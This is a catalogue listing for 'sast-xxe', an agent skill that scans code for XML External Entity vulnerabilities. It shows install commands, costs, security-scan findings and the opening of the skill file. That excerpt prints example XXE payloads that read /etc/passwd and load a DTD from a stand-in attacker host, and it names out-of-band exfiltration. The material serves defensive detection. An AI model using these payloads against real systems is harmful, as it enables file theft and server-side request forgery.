sast-xxe

sast-xxe is a skill for Claude Code, Codex from utkusen/sast-skills. It costs 100 tokens per session (7,125 once invoked), scanned A, original, MIT.

A code-security check for XML External Entity (XXE) vulnerabilities, a flaw where an XML parser follows external references supplied through XML input. It looks for parsers that may allow those references and traces user-controlled XML to them.

In plain words
What is it for?
Use it to inspect XML parsing sites for missing protections and verify whether attacker-controlled XML can reach them. It reports the findings after checking candidate parsers in batches.
Why use it?
It helps find code that could expose local files, reach internal services, or suffer denial-of-service attacks through crafted XML. The key issue is unsafe external-entity or document-type processing.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions subagents; installed under .agents/ (shared by several agents).

Good fit Use it to inspect XML parsing sites for missing protections and verify whether attacker-controlled XML can reach them. It reports the findings after checking candidate parsers in batches.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/utkusen/sast-skills/sast-xxe
About the project

SAST Skills is a collection of agent workflows that inspect web and mobile application code for security vulnerabilities, where SAST means static application security testing. Developers and security reviewers use it to map a codebase, verify possible flaws, and produce a severity-ranked remediation report. The catalogue entries are the project's vulnerability-detection and reporting skills.

utkusen/sast-skills · 1,309 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add utkusen/sast-skills --skill sast-xxe
Clone the repo
git clone --depth 1 https://github.com/utkusen/sast-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for sast-xxe

README.md
[![agentmods](https://agentmods.dev/badge/skills/utkusen/sast-skills/sast-xxe/github.svg)](https://agentmods.dev/skills/utkusen/sast-skills/sast-xxe)
Your own site
<a href="https://agentmods.dev/skills/utkusen/sast-skills/sast-xxe"><img src="https://agentmods.dev/badge/skills/utkusen/sast-skills/sast-xxe/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for sast-xxe

Your own site · 80×15
<a href="https://agentmods.dev/skills/utkusen/sast-skills/sast-xxe"><img src="https://agentmods.dev/badge/skills/utkusen/sast-skills/sast-xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 100 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,125 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 29
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 492
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 493
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • medium Data Exfiltration · line 487
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00100 $0.07125
Opus 5 $0.00050 $0.03563
Sonnet 5 $0.00020 $0.01425
Haiku 4.5 $0.00010 $0.00713

Measured 12d ago against content hash 064a3413ded5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

sast-xxe scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

> [curl command or payload to confirm the finding.
sast-files/.agents/skills/sast-xxe/SKILL.md · 569 lines

How it starts

The opening of the file, as written. The whole thing — 569 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XML External Entity (XXE) Detection

You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: recon (find XML parsing sites where external entities are not safely disabled), batched verify (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and merge (consolidate batch results into one report).

Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.


What is XXE

XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.

The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.

What XXE IS

  • XML parsed with external entity resolution enabled by default and no explicit hardening applied
  • SYSTEM entity declarations that reference file:// or http:// URIs: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
  • Parameter entity injection in DTDs: <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;
  • XInclude injection when XInclude processing is enabled
  • SSRF via XXE: using http:// or https:// external entity URLs to reach internal services
  • Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)

What XXE is NOT

Do not flag these as XXE:

  • XSS via XML: XML data rendered as HTML without escaping — that's XSS
  • SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
  • XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
  • Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g. defusedxml in Python, nokogiri with default settings in Ruby for untrusted input)

Read the full file on GitHub · 569 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 569 lines · 100 tokens per session scan A 064a3413ded5

Subscribe to this mod's changes

sast-xxe is a skill published in the GitHub repository utkusen/sast-skills (1,309 stars, last pushed 5mo ago), licensed MIT. It adds 100 tokens to every session and 7,125 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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